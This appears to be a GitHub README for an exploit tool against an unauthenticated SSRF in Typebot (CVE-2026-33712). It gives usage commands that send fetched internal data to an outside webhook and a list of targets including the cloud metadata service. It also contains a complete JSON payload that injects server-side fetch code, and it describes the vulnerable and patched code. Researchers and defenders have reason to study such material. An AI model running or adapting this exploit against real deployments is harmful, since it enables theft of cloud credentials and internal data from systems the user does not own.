portbuster1337/CVE-2026-33712
GitHub: portbuster1337/CVE-2026-33712
Stars: 0 | Forks: 0
# CVE-2026-33712 - Typebot Unauthenticated SSRF
## Description
**Typebot <= 3.15.2** (fixed in 3.16.0) contains an unauthenticated Server-Side Request
Forgery (SSRF) vulnerability in the preview chat endpoint.
**Endpoint:** `POST /api/v1/typebots/{typebotId}/preview/startChat`
The preview endpoint accepts a user-supplied typebot definition with server-side Code
blocks. The `fetch()` function exposed inside the `isolated-vm` sandbox calls Node.js
native fetch **without** the `validateHttpReqUrl()` SSRF validation that protects the
regular HTTP Request block. This bypasses all SSRF mitigations.
## Disclaimer
This tool is provided for educational purposes and authorized security testing only.
Unauthorized use against systems you do not own or have explicit permission to test is
illegal. The author is not responsible for any misuse or damage caused by this tool.
## Impact
- Cloud credential theft (AWS IMDS, GCP metadata, Azure IMDS)
- Internal network access to Docker containers and private subnets
- Data exfiltration from internal services
- SMTP_FROM / admin email disclosure via `__ENV.js`
## Files
| File | Description |
|------|-------------|
| `exploit.py` | Main exploit script |
| `endpoints.txt` | One URL per line — SSRF targets to scan |
| `requirements.txt` | Python dependencies |
## Usage
pip install -r requirements.txt
# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
## Arguments
| Arg | Description |
|-----|-------------|
| `-t` / `--target` | Typebot instance URL (viewer or builder). Scheme defaults to `http://` |
| `-u` / `--url` | Internal URL to fetch via SSRF (single mode) |
| `-w` / `--webhook` | Webhook URL for exfiltrated data (or `WEBHOOK_URL` env var) |
| `--scan` | Scan all URLs from `endpoints.txt` |
| `--detect-viewer` | Probe `/__ENV.js` on target to find `NEXT_PUBLIC_VIEWER_URL` and use it |
| `--force` | Skip pre-flight checks and force execution |
| `--timeout` | Request timeout (default: 20s) |
| `--delay` | Delay between scan requests (default: 0.3s) |
## Behaviour
1. **Auto-scheme** — if you pass `bot.example.com` without `http://`, it's prepended automatically.
2. **Pre-flight** — before any request, the script probes the target and classifies it as `vulnerable`, `patched` (auth required), or `endpoint_missing` (wrong URL/version). Exits early on failure unless `--force` is set.
3. **Scan mode** — reads `endpoints.txt`, iterates each URL, exfiltrates content to the webhook.
4. **Exfiltration** — content is sent as POST body to the webhook URL (not as query params), avoiding URL length limits.
## endpoints.txt
One raw URL per line. Blank lines are ignored. No comments, no categories.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
## Vulnerable Code Path
In `packages/variables/src/executeFunction.ts`, the `fetch()` exposed inside the
`isolated-vm` sandbox originally called Node.js native fetch without SSRF validation:
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
The fix (commit `d96f572`) also reordered checks in `getTypebot()` so auth validation
runs **before** the custom typebot shortcut, and moved the viewer's preview endpoint from
`procedureWithOptionalUser` to `protectedProcedure`.
## Payload Structure
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
**Important:** `fetch()` inside the sandbox returns `.text()` already, so the result is a
**string**, not a `Response` object.